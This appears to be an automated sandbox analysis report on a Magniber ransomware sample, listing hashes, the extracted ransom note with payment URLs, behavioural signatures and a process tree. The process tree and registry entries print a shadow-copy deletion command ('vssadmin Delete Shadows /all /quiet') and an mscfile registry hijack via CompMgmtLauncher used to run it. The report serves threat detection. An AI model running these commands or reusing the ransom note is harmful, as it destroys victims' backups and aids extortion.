magniber | 2cf60c433df3dcc84b80e18c93e578bf18b31c5c49777953702c53166275796b

Analysis

max time kernel
99s
max time network
160s
platform
windows7_x64
resource
win7v20210410
submitted
22-06-2021 14:06

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General

Target

2.exe
Size

21KB
MD5

2953b6ec692537f8eace1077081f9e43
SHA1

6db28862c0dbb589b918f812ff61cfdac0248eab
SHA256

2cf60c433df3dcc84b80e18c93e578bf18b31c5c49777953702c53166275796b
SHA512

11959d3841c3824e5d4c68771f67db6227423d99f5beb6559c165081b6300fb3553633ce871157bd972845730fcc9e1201c10507f114d7458b3940c8cdf0ca85

Score

10^/10

magniber ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://7478f2f8eed008e0ekmxfykjdz.5s4ixqul2enwxrqv.onion/kmxfykjdz Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://7478f2f8eed008e0ekmxfykjdz.bestep.cyou/kmxfykjdz http://7478f2f8eed008e0ekmxfykjdz.plughas.casa/kmxfykjdz http://7478f2f8eed008e0ekmxfykjdz.ownhits.space/kmxfykjdz http://7478f2f8eed008e0ekmxfykjdz.dayhit.xyz/kmxfykjdz Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://7478f2f8eed008e0ekmxfykjdz.5s4ixqul2enwxrqv.onion/kmxfykjdz

http://7478f2f8eed008e0ekmxfykjdz.bestep.cyou/kmxfykjdz

http://7478f2f8eed008e0ekmxfykjdz.plughas.casa/kmxfykjdz

http://7478f2f8eed008e0ekmxfykjdz.ownhits.space/kmxfykjdz

http://7478f2f8eed008e0ekmxfykjdz.dayhit.xyz/kmxfykjdz

Signatures

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 10 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.execmd.execmd.execmd.execmd.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	304	1680	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2056	1680	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2076	1680	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2068	1680	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	792	1680	cmd.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2708	1680	vssadmin.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2700	1680	vssadmin.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2732	1680	vssadmin.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2772	1680	vssadmin.exe	47
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2764	1680	vssadmin.exe	47

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1107

Inhibit System Recovery
T1490

Modifies extensions of user files 6 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

taskhost.exe

description	ioc	Process
File renamed	C:\Users\Admin\Pictures\SplitJoin.tif => C:\Users\Admin\Pictures\SplitJoin.tif.kmxfykjdz	taskhost.exe
File renamed	C:\Users\Admin\Pictures\ReceiveCompare.crw => C:\Users\Admin\Pictures\ReceiveCompare.crw.kmxfykjdz	taskhost.exe
File renamed	C:\Users\Admin\Pictures\UnblockSuspend.raw => C:\Users\Admin\Pictures\UnblockSuspend.raw.kmxfykjdz	taskhost.exe
File renamed	C:\Users\Admin\Pictures\UnpublishSync.raw => C:\Users\Admin\Pictures\UnpublishSync.raw.kmxfykjdz	taskhost.exe
File opened for modification	C:\Users\Admin\Pictures\RenameHide.tiff	taskhost.exe
File renamed	C:\Users\Admin\Pictures\RenameHide.tiff => C:\Users\Admin\Pictures\RenameHide.tiff.kmxfykjdz	taskhost.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

2.exe

description	pid	Process	procid_target
PID 916 set thread context of 1124	916	2.exe	14
PID 916 set thread context of 1180	916	2.exe	13
PID 916 set thread context of 1208	916	2.exe	12

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1107

Inhibit System Recovery

T1490

Processes:

vssadmin.exevssadmin.exevssadmin.exevssadmin.exevssadmin.exe

pid	Process
2764	vssadmin.exe
2708	vssadmin.exe
2700	vssadmin.exe
2732	vssadmin.exe
2772	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

Processes:

iexplore.exeIEXPLORE.EXE

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f00000000020000000000106600000001000020000000f3c76d712ee1141fb114935f05c590a66dcddc986e42e616aba0c2ae7fbc1826000000000e8000000002000020000000230dabf117bc90c9dfd97cf0e9e600ec2ccdf5368713abaf2f4d6336e2befb8e20000000d66afc7ecc50b3dbfcadacec19c843866694d3ddb2fc04a1de184bce5b6e324040000000f7f7d37bae705a3f188283f0da73e5cf26753fb3189bf9e6505eb2da9ac2167eccf35931d16d2a582c7668075243eb99936d4cb7d6e4fd16edfad8cba1826aec	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb0100000051618adbbbd0f84eb34ff59fe7045e8f0000000002000000000010660000000100002000000051a9932cd817ce9c3297f5c1817705df8ea70c85a9bfddacec421a3d621743a1000000000e80000000020000200000005bdc0a3e18a790d13a6c8f8886e8629f6da84329f8e541f998106b0fe4fd1da390000000f3ee2f70213f72b88b7ad2cc8126313ac76ad8f81ad516f8e66f6381df3c7d3dec16641137dfb55a5353d4061fc4735cb3ac63ae90b60690bd7ef034bc21dddf195eb60523b432b3d985d19a3f0328311acea403f7d61e49e1727401ff9274ee436a0b08fdbed4b7913be9b4169f59c00e2dc4c6add14901e7d20bd94d18c0c43ec8ee0d6cfe17fba3a3600522464ede40000000a97ed35f1293e027cf0c6197b266203eb90d29e7c0018a700f3315ce1055da42c31170f1719015e1936325911758f8240d1ebf953b4ed881f2dd117834db37f9	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "331135561"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\en-US = "en-US.1"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{90321D31-D362-11EB-B85A-F2B989C9245F} = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 00ccb6686f67d701	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\FileNames\	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe

Modifies registry class 11 IoCs

Processes:

2.exetaskhost.exeDwm.exeExplorer.EXE

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	2.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command	2.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

Processes:

notepad.exe

pid	Process
2024	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

2.exe

pid	Process
916	2.exe
916	2.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

2.exe

pid	Process
916	2.exe
916	2.exe
916	2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEWMIC.exeWMIC.exeWMIC.exe

description	pid	Process
Token: SeShutdownPrivilege	1208	Explorer.EXE
Token: SeShutdownPrivilege	1208	Explorer.EXE
Token: SeShutdownPrivilege	1208	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1840	WMIC.exe
Token: SeSecurityPrivilege	1840	WMIC.exe
Token: SeTakeOwnershipPrivilege	1840	WMIC.exe
Token: SeLoadDriverPrivilege	1840	WMIC.exe
Token: SeSystemProfilePrivilege	1840	WMIC.exe
Token: SeSystemtimePrivilege	1840	WMIC.exe
Token: SeProfSingleProcessPrivilege	1840	WMIC.exe
Token: SeIncBasePriorityPrivilege	1840	WMIC.exe
Token: SeCreatePagefilePrivilege	1840	WMIC.exe
Token: SeBackupPrivilege	1840	WMIC.exe
Token: SeRestorePrivilege	1840	WMIC.exe
Token: SeShutdownPrivilege	1840	WMIC.exe
Token: SeDebugPrivilege	1840	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1840	WMIC.exe
Token: SeRemoteShutdownPrivilege	1840	WMIC.exe
Token: SeUndockPrivilege	1840	WMIC.exe
Token: SeManageVolumePrivilege	1840	WMIC.exe
Token: 33	1840	WMIC.exe
Token: 34	1840	WMIC.exe
Token: 35	1840	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1616	WMIC.exe
Token: SeSecurityPrivilege	1616	WMIC.exe
Token: SeTakeOwnershipPrivilege	1616	WMIC.exe
Token: SeLoadDriverPrivilege	1616	WMIC.exe
Token: SeSystemProfilePrivilege	1616	WMIC.exe
Token: SeSystemtimePrivilege	1616	WMIC.exe
Token: SeProfSingleProcessPrivilege	1616	WMIC.exe
Token: SeIncBasePriorityPrivilege	1616	WMIC.exe
Token: SeCreatePagefilePrivilege	1616	WMIC.exe
Token: SeBackupPrivilege	1616	WMIC.exe
Token: SeRestorePrivilege	1616	WMIC.exe
Token: SeShutdownPrivilege	1616	WMIC.exe
Token: SeDebugPrivilege	1616	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1616	WMIC.exe
Token: SeRemoteShutdownPrivilege	1616	WMIC.exe
Token: SeUndockPrivilege	1616	WMIC.exe
Token: SeManageVolumePrivilege	1616	WMIC.exe
Token: 33	1616	WMIC.exe
Token: 34	1616	WMIC.exe
Token: 35	1616	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1728	WMIC.exe
Token: SeSecurityPrivilege	1728	WMIC.exe
Token: SeTakeOwnershipPrivilege	1728	WMIC.exe
Token: SeLoadDriverPrivilege	1728	WMIC.exe
Token: SeSystemProfilePrivilege	1728	WMIC.exe
Token: SeSystemtimePrivilege	1728	WMIC.exe
Token: SeProfSingleProcessPrivilege	1728	WMIC.exe
Token: SeIncBasePriorityPrivilege	1728	WMIC.exe
Token: SeCreatePagefilePrivilege	1728	WMIC.exe
Token: SeBackupPrivilege	1728	WMIC.exe
Token: SeRestorePrivilege	1728	WMIC.exe
Token: SeShutdownPrivilege	1728	WMIC.exe
Token: SeDebugPrivilege	1728	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1728	WMIC.exe
Token: SeRemoteShutdownPrivilege	1728	WMIC.exe
Token: SeUndockPrivilege	1728	WMIC.exe
Token: SeManageVolumePrivilege	1728	WMIC.exe
Token: 33	1728	WMIC.exe
Token: 34	1728	WMIC.exe
Token: 35	1728	WMIC.exe
Token: SeShutdownPrivilege	1208	Explorer.EXE

Suspicious use of FindShellTrayWindow 6 IoCs

Processes:

Explorer.EXEiexplore.exe

pid	Process
1208	Explorer.EXE
1596	iexplore.exe
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE

Suspicious use of SendNotifyMessage 6 IoCs

Processes:

Explorer.EXE

pid	Process
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE
1208	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

iexplore.exeIEXPLORE.EXE

pid	Process
1596	iexplore.exe
1596	iexplore.exe
1072	IEXPLORE.EXE
1072	IEXPLORE.EXE
1072	IEXPLORE.EXE
1072	IEXPLORE.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

taskhost.execmd.execmd.exeDwm.execmd.exeExplorer.EXEcmd.exe2.execmd.execmd.exeiexplore.execmd.execmd.execmd.execmd.execmd.exeCompMgmtLauncher.exeCompMgmtLauncher.exe

description	pid	Process	procid_target
PID 1124 wrote to memory of 2024	1124	taskhost.exe	26
PID 1124 wrote to memory of 2024	1124	taskhost.exe	26
PID 1124 wrote to memory of 2024	1124	taskhost.exe	26
PID 1124 wrote to memory of 568	1124	taskhost.exe	27
PID 1124 wrote to memory of 568	1124	taskhost.exe	27
PID 1124 wrote to memory of 568	1124	taskhost.exe	27
PID 1124 wrote to memory of 1512	1124	taskhost.exe	28
PID 1124 wrote to memory of 1512	1124	taskhost.exe	28
PID 1124 wrote to memory of 1512	1124	taskhost.exe	28
PID 1512 wrote to memory of 1840	1512	cmd.exe	31
PID 1512 wrote to memory of 1840	1512	cmd.exe	31
PID 1512 wrote to memory of 1840	1512	cmd.exe	31
PID 568 wrote to memory of 1596	568	cmd.exe	32
PID 568 wrote to memory of 1596	568	cmd.exe	32
PID 568 wrote to memory of 1596	568	cmd.exe	32
PID 1180 wrote to memory of 608	1180	Dwm.exe	33
PID 1180 wrote to memory of 608	1180	Dwm.exe	33
PID 1180 wrote to memory of 608	1180	Dwm.exe	33
PID 608 wrote to memory of 1616	608	cmd.exe	38
PID 608 wrote to memory of 1616	608	cmd.exe	38
PID 608 wrote to memory of 1616	608	cmd.exe	38
PID 1208 wrote to memory of 1968	1208	Explorer.EXE	36
PID 1208 wrote to memory of 1968	1208	Explorer.EXE	36
PID 1208 wrote to memory of 1968	1208	Explorer.EXE	36
PID 1968 wrote to memory of 1728	1968	cmd.exe	40
PID 1968 wrote to memory of 1728	1968	cmd.exe	40
PID 1968 wrote to memory of 1728	1968	cmd.exe	40
PID 916 wrote to memory of 2016	916	2.exe	41
PID 916 wrote to memory of 2016	916	2.exe	41
PID 916 wrote to memory of 2016	916	2.exe	41
PID 916 wrote to memory of 1288	916	2.exe	43
PID 916 wrote to memory of 1288	916	2.exe	43
PID 916 wrote to memory of 1288	916	2.exe	43
PID 1288 wrote to memory of 472	1288	cmd.exe	45
PID 1288 wrote to memory of 472	1288	cmd.exe	45
PID 1288 wrote to memory of 472	1288	cmd.exe	45
PID 2016 wrote to memory of 1388	2016	cmd.exe	46
PID 2016 wrote to memory of 1388	2016	cmd.exe	46
PID 2016 wrote to memory of 1388	2016	cmd.exe	46
PID 1596 wrote to memory of 1072	1596	iexplore.exe	49
PID 1596 wrote to memory of 1072	1596	iexplore.exe	49
PID 1596 wrote to memory of 1072	1596	iexplore.exe	49
PID 1596 wrote to memory of 1072	1596	iexplore.exe	49
PID 304 wrote to memory of 2180	304	cmd.exe	60
PID 304 wrote to memory of 2180	304	cmd.exe	60
PID 304 wrote to memory of 2180	304	cmd.exe	60
PID 792 wrote to memory of 2196	792	cmd.exe	61
PID 792 wrote to memory of 2196	792	cmd.exe	61
PID 792 wrote to memory of 2196	792	cmd.exe	61
PID 2076 wrote to memory of 2212	2076	cmd.exe	62
PID 2076 wrote to memory of 2212	2076	cmd.exe	62
PID 2076 wrote to memory of 2212	2076	cmd.exe	62
PID 2056 wrote to memory of 2252	2056	cmd.exe	63
PID 2056 wrote to memory of 2252	2056	cmd.exe	63
PID 2056 wrote to memory of 2252	2056	cmd.exe	63
PID 2068 wrote to memory of 2280	2068	cmd.exe	64
PID 2068 wrote to memory of 2280	2068	cmd.exe	64
PID 2068 wrote to memory of 2280	2068	cmd.exe	64
PID 2180 wrote to memory of 2388	2180	CompMgmtLauncher.exe	65
PID 2180 wrote to memory of 2388	2180	CompMgmtLauncher.exe	65
PID 2180 wrote to memory of 2388	2180	CompMgmtLauncher.exe	65
PID 2212 wrote to memory of 2436	2212	CompMgmtLauncher.exe	68
PID 2212 wrote to memory of 2436	2212	CompMgmtLauncher.exe	68
PID 2212 wrote to memory of 2436	2212	CompMgmtLauncher.exe	68

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1208
- C:\Users\Admin\AppData\Local\Temp\2.exe
  "C:\Users\Admin\AppData\Local\Temp\2.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:916
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2016
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:1388
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1288
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:472
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1728

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1180
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:608
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1616

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies extensions of user files
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1124
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:2024
- C:\Windows\system32\cmd.exe
  cmd /c "start http://7478f2f8eed008e0ekmxfykjdz.bestep.cyou/kmxfykjdz^&1^&47212692^&73^&325^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:568
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://7478f2f8eed008e0ekmxfykjdz.bestep.cyou/kmxfykjdz&1&47212692&73&325&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1596
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1596 CREDAT:275457 /prefetch:2
      4⤵
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:1072
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1840

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:304
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2180
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2388

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2252
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2456

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2436

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2068
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2280
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2544

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:792
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  PID:2196
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2484

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2708

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2700

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2732

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2772

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
